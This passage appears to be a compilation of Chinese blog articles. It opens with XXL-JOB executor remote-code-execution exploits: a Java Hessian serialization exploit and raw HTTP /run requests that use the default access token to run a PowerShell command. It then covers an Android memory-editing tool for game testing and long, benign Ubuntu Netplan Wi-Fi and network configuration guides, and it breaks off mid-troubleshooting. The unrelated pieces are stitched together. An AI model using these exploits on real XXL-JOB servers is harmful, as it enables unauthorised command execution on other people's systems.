schedule_typecorn轮询,0/5 * * * * ?则是计划任务执行的时间我这里设定为5秒1次。executor_handler则是执行命令的类型,我这里因为在Windows下测试,故而选择为powershell,也可变为GLUE_SHELL或者GLUE_GROOVY等来应对不同的命令。目前我们只是插入了命令,并不能执行,要是想执行,还需要在插入数据之后把trigger_status的值改为1,executor便会自动开始执行我们输入的命令。

五、executor未授权访问

xxl-job的executeor存在未授权访问漏洞,指纹如下图所示

低版本

image

高版本

image

其原因就是admin端与executeor端通过互相发送tcp包进行通信,攻击者可伪造包,使executeor执行命令。

该漏洞主要分为三个阶段

1、XxlJob<2.1.2,需要利用Hessian触发

参考这个项目即可RCE
https://github.com/OneSourceCat/XxlJob-Hessian-RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package com.example;

import com.xxl.job.core.biz.model.TriggerParam;
import com.xxl.rpc.remoting.net.params.XxlRpcRequest;

import com.xxl.rpc.serialize.impl.HessianSerializer;
import org.asynchttpclient.AsyncCompletionHandler;
import org.asynchttpclient.AsyncHttpClient;
import org.asynchttpclient.DefaultAsyncHttpClient;
import org.asynchttpclient.Response;

import java.io.IOException;
import java.util.Date;

public class App {

private static void sendData(String url, byte[] bytes) {
AsyncHttpClient c = new DefaultAsyncHttpClient();

try{
c.preparePost(url)
.setBody(bytes)
.execute(new AsyncCompletionHandler<Response>() {
@Override
public Response onCompleted(Response response) throws Exception {
System.out.println("Server Return Data: ");
System.out.println(response.getResponseBody());
return response;
}

@Override
public void onThrowable(Throwable t) {
System.out.println("HTTP出现异常");
t.printStackTrace();
super.onThrowable(t);
}
}).toCompletableFuture().join();

c.close();
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
c.close();
} catch (IOException e) {
e.printStackTrace();
}
}


}

public static void main( String[] args ) throws Exception {

String code = "package com.xxl.job.service.handler;\n" +
"\n" +
"import com.xxl.job.core.log.XxlJobLogger;\n" +
"import com.xxl.job.core.biz.model.ReturnT;\n" +
"import com.xxl.job.core.handler.IJobHandler;\n" +
"import java.lang.Runtime;\n" +
"\n" +
"public class DemoGlueJobHandler extends IJobHandler {\n" +
"\n" +
"\t@Override\n" +
"\tpublic ReturnT<String> execute(String param) throws Exception {\n" +
" \tRuntime.getRuntime().exec(\"calc\");\n" +
"\t\treturn ReturnT.SUCCESS;\n" +
"\t}\n" +
"\n" +
"}\n";

System.out.println(code);

TriggerParam params = new TriggerParam();
params.setJobId(10);
params.setExecutorBlockStrategy("SERIAL_EXECUTION");
params.setLogId(10);
params.setLogDateTime((new Date()).getTime());
params.setGlueType("GLUE_GROOVY");
params.setGlueSource(code);
params.setGlueUpdatetime((new Date()).getTime());

XxlRpcRequest xxlRpcRequest = new XxlRpcRequest();
xxlRpcRequest.setRequestId("111");
xxlRpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz");
xxlRpcRequest.setMethodName("run");
xxlRpcRequest.setParameterTypes(new Class[]{TriggerParam.class});
xxlRpcRequest.setParameters(new Object[] {params});
xxlRpcRequest.setCreateMillisTime((new Date()).getTime());

HessianSerializer serializer = new HessianSerializer();

byte[] data = serializer.serialize(xxlRpcRequest);
sendData("http://127.0.0.1:9999", data);

}
}

2、2.2.0<=XxlJob<=2.4.0

支持了RESTFUL API,可以直接发送http包伪造
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /run HTTP/1.1
Host: 192.168.226.1:10999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Content-Type: application/json
Content-Length: 365

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

3、XxlJob >= 2.4.0添加了默认token

作者为了修复该漏洞,添加了默认的token,但是这就如同nacos的jwt秘钥,shiro的默认key一样,由于使用者的粗心大意不修改该key,还是可以被利用
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /run HTTP/1.1
Host: 192.168.226.1:10999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Content-Type: application/json
Content-Length: 365

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

如何使用Apk-Medit对APK进行内存搜索和数据修改

如何使用Apk-Medit对APK进行内存搜索和数据修改

本文转自 Alpha_h4ck 并作补充

写在前面的话

内存修改往往是在游戏中实现作弊的最简单方法,而且内存也是我们在安全测试过程中必须要去面对和检测的一个内容。虽然现在社区也已经有类似GameGuardian这种的工具了,但现在还没有针对非Root设备的类似工具。Apk-Medit这款工具是一个针对可调式APK的内存搜索和数据修改工具,该工具专为移动端游戏安全测试而设计,我们可以在非Root设备(无需NDK)中使用该工具。

工具安装

首先,我们需要访问该项目的【GitHub Releases页面】来下载该项目源码。下载完成之后,我们需要将代码拷贝至目标安卓设备的/data/local/tmp/目录下:

1
2
3
$ adb push medit /data/local/tmp/medit

medit: 1 file pushed. 29.0 MB/s (3135769 bytes in 0.103s)

代码构建

我们可以使用make命令来完成代码的构建,这里要求使用Go编译器。代码构建完成之后,使用adb连接设备,它将会把构建好的代码推送至目标Android设备的/data/local/tmp/目录下:

1
2
3
4
5
6
7
$ make

GOOS=linux GOARCH=arm64 GOARM=7 go build -o medit

/bin/sh -c "adb push medit /data/local/tmp/medit"

medit: 1 file pushed. 23.7 MB/s (3131205 bytes in 0.126s)

工具命令

搜索

在内存中搜索特定的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
> find 999982

Search UTF-8 String...

Target Value: 999982([57 57 57 57 56 50])

Found: 0!

------------------------

Search Word...

parsing 999982: value out of range

------------------------

Search Double Word...

Target Value: 999982([46 66 15 0])

Found: 1!

Address: 0xe7021f70

我们还可以指定目标数据类型,比如说字符串、dword和qword等等:

1
2
3
4
5
6
7
8
9
> find dword 999996

Search Double Word...

Target Value: 999996([60 66 15 0])

Found: 1!

Address: 0xe7021f70

过滤

我们可以对搜索结果进行过滤,并匹配当前的搜索值:

1
2
3
4
5
6
7
8
9
> filter 993881

Check previous results of searching dword...

Target Value: 993881([89 42 15 0])

Found: 1!

Address: 0xe7021f70

数据修改

我们可以直接修改目标地址的数据值:

1
2
3
> patch 10

Successfully patched!

ps命令

寻找目标进程,如果只有一个的话,我们可以使用ps命令来自动指定:

1
2
3
4
5
> ps

Package: jp.aktsk.tap1000000, PID: 4398

Target PID has been set to 4398.

绑定进程

如果目标PID是通过ps命令设置的,我们就可以跟目标进程进行绑定,并通过ptrace来终止App内的所有进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
> attach

Target PID: 4398

Attached TID: 4398

Attached TID: 4405

Attached TID: 4407

Attached TID: 4408

Attached TID: 4410

Attached TID: 4411

Attached TID: 4412

Attached TID: 4413

Attached TID: 4414

Attached TID: 4415

Attached TID: 4418

Attached TID: 4420

Attached TID: 4424

Attached TID: 4429

Attached TID: 4430

Attached TID: 4436

Attached TID: 4437

Attached TID: 4438

Attached TID: 4439

Attached TID: 4440

Attached TID: 4441

Attached TID: 4442

如果目标PID没有设置的话,我们就需要在命令行中专门指定了:

1
> attach <pid>

解绑进程

解绑已绑定的进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
> detach

Detached TID: 4398

Detached TID: 4405

Detached TID: 4407

Detached TID: 4408

Detached TID: 4410

Detached TID: 4411

Detached TID: 4412

Detached TID: 4413

Detached TID: 4414

Detached TID: 4415

Detached TID: 4418

Detached TID: 4420

Detached TID: 4424

Detached TID: 4429

Detached TID: 4430

Detached TID: 4436

Detached TID: 4437

Detached TID: 4438

Detached TID: 4439

Detached TID: 4440

Detached TID: 4441

Detached TID: 4442

导出

显示内存导出数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
> dump 0xf0aee000 0xf0aee300

Address range: 0xf0aee000 - 0xf0aee300

----------------------------------------------

00000000 34 32 20 61 6e 73 77 65 72 20 28 74 6f 20 6c 69 |42 answer (to li|

00000010 66 65 20 74 68 65 20 75 6e 69 76 65 72 73 65 20 |fe the universe |

00000020 65 74 63 7c 33 29 0a 33 31 34 20 70 69 0a 31 30 |etc|3).314 pi.10|

00000030 30 33 20 61 75 64 69 74 64 20 28 61 76 63 7c 33 |03 auditd (avc|3|

00000040 29 0a 31 30 30 34 20 63 68 61 74 74 79 20 28 64 |).1004 chatty (d|

00000050 72 6f 70 70 65 64 7c 33 29 0a 31 30 30 35 20 74 |ropped|3).1005 t|

00000060 61 67 5f 64 65 66 20 28 74 61 67 7c 31 29 2c 28 |ag_def (tag|1),(|

00000070 6e 61 6d 65 7c 33 29 2c 28 66 6f 72 6d 61 74 7c |name|3),(format||

00000080 33 29 0a 31 30 30 36 20 6c 69 62 6c 6f 67 20 28 |3).1006 liblog (|

00000090 64 72 6f 70 70 65 64 7c 31 29 0a 32 37 31 38 20 |dropped|1).2718 |

000000a0 65 0a 32 37 31 39 20 63 6f 6e 66 69 67 75 72 61 |e.2719 configura|

000000b0 74 69 6f 6e 5f 63 68 61 6e 67 65 64 20 28 63 6f |tion_changed (co|

000000c0 6e 66 69 67 20 6d 61 73 6b 7c 31 7c 35 29 0a 32 |nfig mask|1|5).2|

000000d0 37 32 30 20 73 79 6e 63 20 28 69 64 7c 33 29 2c |720 sync (id|3),|

000000e0 28 65 76 65 6e 74 7c 31 7c 35 29 2c 28 73 6f 75 |(event|1|5),(sou|

000000f0 72 63 65 7c 31 7c 35 29 2c 28 61 63 63 6f 75 6e |rce|1|5),(accoun|

退出

如需退出该工具,可以使用exit命令或按下Ctrl+D:

1
2
3
> exit

Bye!

工具测试

我们可以使用make命令来运行测试代码:

1
$ make test

工具使用Demo

image

image

Ubuntu Server 配置无线网络

Ubuntu Server 配置无线网络

本文转自 muzing 并作补充

本文简单记录了在 Ubuntu Server 22.04 上通过 Netplan 工具配置网络,连接到 WLAN 的过程。

准备工作

安装无线网络相关配置工具:

  • network-manager - 网络管理工具
  • wpasupplicant - 提供对 WPA 加密的支持
  • wireless-tools - 提供 iwconfig、iwlist 等无线网络配置工具
1
sudo apt install network-manager wpasupplicant wireless-tools

查看网卡硬件:

1
2
3
ifconfig -a
# 或者使用
ip a

image

根据上面的查询结果获得无线网卡名称,记住该名称。(无线网卡的名称一般以 wlanwlp 开头,详情参考本文附录a。)

如果没有看到列出无线网卡,除硬件故常或接触不良外,还可能是因为无线网卡未启动。可以尝试使用如下命令将其启动:

1
sudo ifconfig wlan0 up  # 启动名为 wlan0 的网络设备

扫描无线网络

在准备工作中已经安装了 wireless-tools,可以使用 iwlist 命令扫描当前环境中的 Wi-Fi 信号:

1
sudo iwlist wlan0 scan  # 注意将 wlan0 换成实际无线网卡的设备名

输出的结果非常详细,也非常长:

image

如果太多信息造成干扰,可以使用 Linux 的 grep 命令对输出信息进行筛选,例如:

1
2
sudo iwlist wlan0 scan | grep ESSID  # 仅查看 Wi-Fi 名称
sudo iwlist wlan0 scan | grep -E "Quality|ESSID" # 查看 Wi-Fi 名称和网络质量

image

编辑配置文件

进入 Netplan 配置目录,查看其中的默认配置文件:

1
2
3
$ cd /etc/netplan/
$ ls
50-cloud-init.yaml

此机器上的配置文件名为 50-cloud-init.yaml。由于安装方式、系统版本等差异,配置文件的名称可能有所不同,但都是 yaml 格式、位于 /etc/netplan/ 下,根据实际情况使用。使用管理员权限编辑该文件:

1
sudo vim /etc/netplan/50-cloud-init.yaml

添加如下内容:

1
2
3
4
5
6
wifis:
wlan0:
dhcp4: true
access-points:
"你的ssid":
password: "你的密码"

其中 wlan0 为无线网卡名称,dhcp4 表示开启自动IP地址分配,在 access-points 下可以设置多组 ssid(即通常所说的“Wi-Fi名称”)与密码。

更新后,配置文件内容大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
network:
version: 2
renderer: NetworkManager

ethernets:
eth0:
dhcp4: true
optional: true

wifis:
wlan0:
dhcp4: true
access-points:
"wifi_name1":
password: "mypassword"
"666":
password: "66666666"

连接网络

修改配置文件后,不要立即将其应用生效,而要先使用 netplan try 命令验证新的配置是否有效:

1
sudo netplan try  # 检查配置文件中是否有语法错误、尝试用新的配置

image

如果新的网络配置没有问题,则会出现上面的界面,按下键盘 ENTER 确认即可。如果此时本来就是通过网络以 SSH 方式控制服务器,而新的网络配置出现问题导致连接断开,也不必惊慌,等待两分钟让 netplan 恢复之前的配置即可。

1
2
sudo netplan generate  # 生成 renderers 所需的配置文件
sudo netplan apply # 应用 netplan 新配置,将自动重启 network-manager 使修改生效

检查是否已连接至网络(以下任一条命令均可):

1
2
3
iwconfig
ifconfig
ip a

如仍未连接至网络,可以尝试手动重启 NetworkManager 或服务器:

1
2
sudo systemctl restart NetworkManager.service
sudo reboot

附录a:网卡设备名称简析

在使用 ifconfig -aip a 列出本机所有网卡设备名称时,可能看到若干名称,其含义简单分析如下:

  • lo 表示 local
  • en 表示 ethernet 以太网
  • wl 表示 wlan,即 Wireless Local Area Network 无线局域网
  • 后面的 p2s0 等表示 PCIe 接口的物理位置(bus, slot),总线与插槽

例如, wlp4s0 表示一张位于 PCIe 总线4 插槽0 的无线网卡。

附录b:树莓派连接无线网络

在使用新安装 Ubuntu Server 系统的树莓派时,可能遇到手头没有显示器、也没有有线网络连接的情况。这时本可以通过电脑 SSH 连接至树莓派进行远程开发,但前提是树莓派必须已经接入无线局域网络;而为了让树莓派接入网络,又需要用 SSH 连接后才能修改 Netplan 配置文件,陷入僵局。解决问题的办法是,在树莓派系统启动之前就完成对网络的配置:通过修改安装着树莓派的操作系统的存储卡中的特定文件即可实现。

将存储卡通过读卡器连接到电脑,可以看到 system-boot 和 writable 两个分区,打开 system-boot 分区,搜索名为 network-config 的文件:

image

使用文本编辑工具打开该文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# This file contains a netplan-compatible configuration which cloud-init will
# apply on first-boot (note: it will *not* update the config after the first
# boot). Please refer to the cloud-init documentation and the netplan reference
# for full details:
#
# https://netplan.io/reference
# https://cloudinit.readthedocs.io/en/latest/topics/network-config.html
# https://cloudinit.readthedocs.io/en/latest/topics/network-config-format-v2.html
# ...

# Some additional examples are commented out below

network:
version: 2

ethernets:
eth0:
dhcp4: true
optional: true

# wifis:
# wlan0:
# dhcp4: true
# optional: true
# access-points:
# myhomewifi:
# password: "S3kr1t"
# myworkwifi:
# password: "correct battery horse staple"
# workssid:
# auth:
# key-management: eap
# method: peap
# identity: "me@example.com"
# password: "passw0rd"
# ca-certificate: /etc/my_ca.pem

可以看到,该文件的格式与语法正是 Netplan 形式,用于在首次启动系统时初始化 Netplan 配置。参考原本注释掉的示例和本文正文,编辑该配置文件,添加 Wi-Fi 信息并保存。

完成配置文件的编辑后,将存储卡插回到树莓派中,通电开机,即会自动连接至无线网络。进入路由器后台管理,即可看到设备名为 ubuntu 的设备,记住其局域网 IP 地址,在电脑上使用 ssh 连接即可:

1
ssh ubuntu@192.168.3.24

如果没有路由器的管理员权限,无法进入后台查看树莓派的 IP,可以在电脑上尝试使用 Angry IP Scanner 等 IP 扫描工具寻找。

附录c:Netplan原理简述

Netplan 本身只是一个用于网络配置的辅助小工具,它将读取 /etc/netplan/*.yaml 配置文件,然后据此生成 renderer 所需的配置文件,并重启 renderer 使修改生效。目前 Netplan 支持的 renderer 包括 NetworkManagerSystemd-networkd 两种。这样用户只需修改简洁清晰、YAML格式、统一的 Netplan 配置文件,而无需为每个 renderer 编辑其配置文件。

image

参考

netplan网络配置

netplan网络配置

本文转自 cloud-atlas 并作补充

Ubuntu发行版默认使用 netplan.io 配置网络接口,例如我在在 树莓派Ubuntu网络设置 中就使用了netplan。netplan支持后端使用 networkd 或者 network-manager 进行管理配置。

netplan简介

image

激活netplan

Ubuntu在服务器版本默认激活了netplan来配置管理网络,但是在桌面版本,则默认使用NetworkManager管理网络。例如 Jetson Nano快速起步 可以看到Jetson使用Ubuntu的18.04桌面版本,所以我们需要安装并激活netplan。

  • 安装netplan:

    1
    apt install netplan.io

备注

Ubuntu 18.04.4 LTS 上,提供了2个软件包:

1
2
netplan
netplan.io

建议完整安装 netplan.io ,这个版本跟随 netplan.io 官方更新,修复了一些问题。

当前 Ubuntu 20.04.3 LTS 已默认安装 netplan.io ,不再提供旧版本 netplan

使用netplan配置静态IP

对于Kubernetes master等服务器,我期望IP地址是固定的IP地址,所以准备配置static IP。不过,Ubuntu 18系列的静态IP地址配置方法和以前传统配置方法不同,采用了 .yaml 配置文件,通过 netplan 网络配置工具来修改。

备注

根据Ubuntu的安装不同,有可能你的安装并没有包含Netplan,则依然可以采用传统的Debian/Ubuntu配置静态IP的方法,即直接修改 /etc/network/interfaces 来实现。不过,从Ubuntu 17.10 开始,已经引入了 Netplan 网络配置工具。

Netplan允许通过YAML抽象来配置网络接口,在 NetworkManagersystemd-networkd 网络服务(引用为 renderers )结合共同工作。

Netplan会读取 /etc/netplan/*.yaml 配置文件来设置所有的网络接口。

列出所有激活的网络接口

  • 使用 ifconfig 命令列出所有网络接口:

    1
    ifconfig -a

例如,看到的输出数据(DHCP):

1
2
3
4
5
6
7
8
ens2: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
inet 192.168.122.61 netmask 255.255.255.0 broadcast 192.168.122.255
inet6 fe80::5054:ff:fe97:c338 prefixlen 64 scopeid 0x20<link>
ether 52:54:00:97:c3:38 txqueuelen 1000 (Ethernet)
RX packets 382 bytes 45170 (45.1 KB)
RX errors 0 dropped 84 overruns 0 frame 0
TX packets 165 bytes 22890 (22.8 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  • 默认在 /etc/netplan 目录下有一个 01-netcfg.yaml 内容如下:

netplan初始DHCP配置

1
2
3
4
5
6
7
8
# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
version: 2
renderer: networkd
ethernets:
ens2:
dhcp4: yes

备注

如果安装操作系统的时候没有自动创建一个 YAML 配置文件,可以通过以下命令先生成一个:

1
sudo netplan generate

不过,对于Ubuntu的desktop, server, cloud版本,自动生成的配置文件会采用不同的名字,例如 01-network-manager-all.yaml01-netcfg.yaml

  • 编辑 /etc/netplan/01-netcfg.yaml :

netplan 静态IPP配置

1
2
3
4
5
6
7
8
9
10
11
network:
version: 2
renderer: networkd
ethernets:
ens2:
dhcp4: no
dhcp6: no
addresses: [192.168.122.11/24, ]
gateway4: 192.168.122.1
nameservers:
addresses: [192.168.122.1, ]
  • 执行以下命令生效(注意在控制台执行,否则网络会断开):

    1
    sudo netplan apply
  • 验证检查 ifconfig -a 可以看到IP地址已经修改成静态配置IP地址

netplan配置一个网卡多个IP

有时候需要在一个网卡上配置多个IP地址,实现单臂网桥路由,netplan也支持 interface alias 。配置方法很简单:

1
2
3
4
5
6
7
8
9
network:
version: 2
renderer: networkd
ethernets:
enp3s0:
addresses:
- 10.100.1.38/24
- 10.100.1.39/24
gateway4: 10.100.1.1

或者:

1
2
3
ethernets:
enp3s0:
addresses: [ 10.100.1.38/24, 10.100.1.39/24 ]

执行 netplan apply 可以看到系统网卡:

1
2
enp3s0
enp3s0:1

分配了IP地址 10.100.1.3810.100.1.39

netplan配置有线802.1x认证

企业网络常常会使用802.1x网络实现认证,不仅无线可以通过这种方式加强安全,有线网络也可以实现。netplan也支持在有线网络上加上认证功能,配置案例有些类似后文 WPA Enterprise无线网络 ,案例 01-eno4-config.yaml 如下:

netplan 802.1x配置

1
2
3
4
5
6
7
8
9
10
11
12
13
network:
version: 2
renderer: networkd
ethernets:
eno4:
dhcp4: yes
dhcp6: no
macaddress: xx:xx:xx:xx:xx:xx
auth:
key-management: 802.1x
method: peap
identity: "USERNAME"
password: "PASSWD"

然后执行 netplan apply 即完成网络激活

netplan配置无线

连接开放无线网络

对于没有密码要求的无线网络,只需要定义access point:

1
2
3
4
5
6
7
network:
version: 2
wifis:
wlan0:
access-points:
"open_network_ssid_name": {}
dhcp4: yes

连接WPA Personal无线

对于采用WPA密码保护的无线网络,配置access-point和对应的password就可以。

  • 配置 /etc/netplan/02-homewifi.yaml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    network:
    version: 2
    renderer: networkd
    wifis:
    wlan0:
    dhcp4: yes
    dhcp6: no
    #addresses: [192.168.1.21/24]
    #gateway4: 192.168.1.1
    #nameservers:
    # addresses: [192.168.0.1, 8.8.8.8]
    access-points:
    "network_ssid_name":
    password: "**********"

WPA Enterprise无线网络

在企业网络中,常见的是使用 WPA 或 WPA2 Enterprise加密方式的无线网络,则需要添加认证信息。

  • 以下案例是 WPA-EAP 和 TTLS 加密无线网络连接配置:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    network:
    version: 2
    wifis:
    wl0:
    access-points:
    workplace:
    auth:
    key-management: eap
    method: ttls
    anonymous-identity: "@internal.example.com"
    identity: "joe@internal.example.com"
    password: "v3ryS3kr1t"
    dhcp4: yes
  • 以下案例是 WPA-EAP 和 TLS加密无线网络:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    network:
    version: 2
    wifis:
    wl0:
    access-points:
    university:
    auth:
    key-management: eap
    method: tls
    anonymous-identity: "@cust.example.com"
    identity: "cert-joe@cust.example.com"
    ca-certificate: /etc/ssl/cust-cacrt.pem
    client-certificate: /etc/ssl/cust-crt.pem
    client-key: /etc/ssl/cust-key.pem
    client-key-password: "d3cryptPr1v4t3K3y"
    dhcp4: yes

netplan mac spoof

如果使用 networkd 后端,则不支持wifi匹配,只能使用接口名字。以下为举例:

1
2
3
4
5
6
7
8
9
network:
version: 2
renderer: networkd
wifis:
wlan0:
dhcp4: yes
dhcp6: no
macaddress: xx:xx:xx:xx:xx:xx
...

如果使用NetworkManager后端,还可以采用 match: 方法:

1
2
3
4
5
6
7
8
9
10
11
network:
version: 2
renderer: networkd
wifis:
wlan0:
dhcp4: yes
dhcp6: no
match:
macaddress: yy:yy:yy:yy:yy:yy
macaddress: xx:xx:xx:xx:xx:xx
...

netplan配置bonding

简单active-backup bonding

  • 参考原先安装虚拟机自动生成的 /etc/netplan/50-cloud-init.yaml 注释内容,禁用cloud-init网络配置,即创建 /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg 内容如下:

    1
    network: {config: disabled}

备份原配置:

1
2
3
cp /etc/netplan/50-cloud-init.yaml ~/
cd /etc/netplan
rm -f 50-cloud-init.yaml
  • 编辑 /etc/netplan/01-netcfg.yaml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    network:
    version: 2
    renderer: networkd
    ethernets:
    ens33:
    dhcp4: no
    dhcp6: no
    ens38:
    dhcp4: no
    dhcp6: no
    bonds:
    bond0:
    interfaces: [ens33, ens38]
    parameters:
    mode: active-backup
    mii-monitor-interval: 1
    primary: ens33
    addresses: [192.168.161.10/24, ]
    gateway4: 192.168.161.1
    nameservers:
    addresses: [127.0.0.53, ]

bonding上增加VLAN

  • 编辑 /etc/netplan/01-netcfg.yaml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    network:
    version: 2
    renderer: networkd
    ethernets:
    eth0:
    dhcp4: no
    dhcp6: no
    eth1:
    dhcp4: no
    dhcp6: no
    bonds:
    bond0:
    interfaces: [eth0, eth1]
    parameters:
    mode: active-backup
    mii-monitor-interval: 1
    primary: eth0
    vlans:
    bond0.22:
    id: 22
    link: bond0
    addresses: [ "192.168.1.24/24" ]
    gateway4: 192.168.1.1
    nameservers:
    addresses: [ "192.168.1.1", "192.168.1.17", "192.168.1.33" ]
    search: [ "huatai.me", "huatai.net", "huatai.com" ]

备注

Red Hat Enterprise Linux 7 Networking Guide Using Channel Bonding 提供了详细的参数设置,通常 miimon=time_in_milliseconds 设置 100 表示100ms,也就是 0.1s 。不过这里我参考netplan文档设置为1s。

有关 VLAN over bonding配置请参考 Netplan - configuring 2 vlan on same bonding

没有netplan配置systemd-networkd

实际上你可以不使用netplan也不使用NetworkManager就可以配置网络,因为 Systemd进程管理器 实际上提供了完整的系统配置功能。默认启动的 systemd-networkd 接管了所有网络配置,所以手工添加配置也可以实现配置。

所有的 systemd-networkd 配置位于 /etc/systemd/network/ 目录下,例如, enp0s25.network 配置内容:

1
2
3
4
5
6
7
[Match]
Name=enp0s25

[Network]
Address=192.168.6.9/24
GATEWAY=192.168.6.10
DNS=192.168.6.10

此时只需要重新加载一次 systemd-networkd 就可以:

1
systemctl restart systemd-networkd

netplan问题排查

警告

netplan似乎不需要作为服务启动,而仅仅是作为一个前端工具,实际调用的是 networkd 和 NetworkManager来完成配置。我在Jetson Nano的Ubuntu 18.04使用netplan失败,似乎这个版本比较老,和现有netplan文档不能对齐,并且使用也很怪异,所以我还是使用 切换NetworkManager 重新切回NetworkManager进行管理。

以下是一些debug经验记录,仅供参考。

切换NetworkManager 之后,我在 NVIDIA Jetson 上将NetworkManager切换成netplan。但是,我发现 netplan apply 之后,网卡上并没有绑定静态配置的IP地址。虽然看上去 /etc/netplan/01-netcfg.yaml 和原先在树莓派上运行的Ubuntu 20.04没有什么区别:

1
2
3
4
5
6
7
8
9
10
network:
version: 2
renderer: networkd
ethernets:
eth0:
dhcp4: no
dhcp6: no
addresses: [192.168.6.10/24, ]
nameservers:
addresses: [202.96.209.133, ]

既然使用 networkd 作为 renderer ,就应该生成 systemd-networkd 使用的配置文件,但是在 /etc/systemd/network 目录下没有生成任何配置文件。

参考 networkd not applying config - missing events? 可以看到,需要使用 networkctl list 查看一下网卡是否受到管理:

1
networkctl list

果然,我输出显示:

1
2
3
4
5
6
7
8
IDX LINK             TYPE               OPERATIONAL SETUP
1 lo loopback carrier unmanaged
2 dummy0 ether off unmanaged
3 eth0 ether routable unmanaged
4 wlan0 wlan off unmanaged
5 l4tbr0 ether off unmanaged
6 rndis0 ether no-carrier unmanaged
7 usb0 ether no-carrier unmanaged

对比树莓派上 networkctl list 显示输出:

1
2
3
4
IDX LINK  TYPE     OPERATIONAL SETUP
1 lo loopback carrier unmanaged
2 eth0 ether routable configured
3 wlan0 wlan routable configured

networkctl

参考 networkctl — Query the status of network links networkctl 可以用于检查网络连线的状态是否被 systemd-networkd 看到。参考 systemd-networkd.service, systemd-networkd — Network manager :

  • systemd-networkd 会管理在 [Match] 段落找到的 .network 文件中的任何连接来管理网络地址和路由。
  • 由于我执行 netplan apply 没有生成对应的 networkd 配置文件,所以导致网络没有配置

我尝试先创建空的 /etc/netplan 目录,然后执行:

1
netplan -d generate

显示:

1
2
3
4
5
6
7
netplan: netplan version 2.2 starting at Tue Oct 13 22:54:14 2020
netplan: database directory is /var/lib/plan/netplan.dir
netplan: user "netplan" is uid 63434 gid 63434
netplan: switching from user <root> to <uid 63434 gid 63434>
netplan: running with uid=63434 gid=63434 euid=63434 egid=63434
netplan: reading access list file /var/lib/plan/netplan.dir/.netplan-acl
netplan: netplan/tcp not found in /etc/services, using ports 2983 and 5444
  • 仔细检查了 systemctl status netplan ,发现原因了:没有激活netplan daemon:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    ● netplan.service - LSB: Netplan calendar service.
    Loaded: loaded (/etc/init.d/netplan; generated)
    Active: active (exited) since Tue 2020-10-13 21:12:52 CST; 1h 47min ago
    Docs: man:systemd-sysv-generator(8)
    Process: 4631 ExecStart=/etc/init.d/netplan start (code=exited, status=0/SUCCESS)

    10月 13 21:12:51 jetson systemd[1]: Starting LSB: Netplan calendar service....
    10月 13 21:12:52 jetson netplan[4631]: Netplan daemon not enabled in /etc/init.d/netplan.
    10月 13 21:12:52 jetson systemd[1]: Started LSB: Netplan calendar service..

上述日志显示在 /etc/init.d/netplan 中没有激活netplan服务,所以实际该服务状态是 active(exited) ,也就是退出状态。

编辑 /etc/init.d/netplan 文件,将:

1
2
# Set ENABLED=0 to disable, ENABLED=1 to enable.
ENABLED=0

修改成:

1
2
# Set ENABLED=0 to disable, ENABLED=1 to enable.
ENABLED=1
  • 然后再次执行启动 netplan

    1
    systemctl start netplan

此时提示:

1
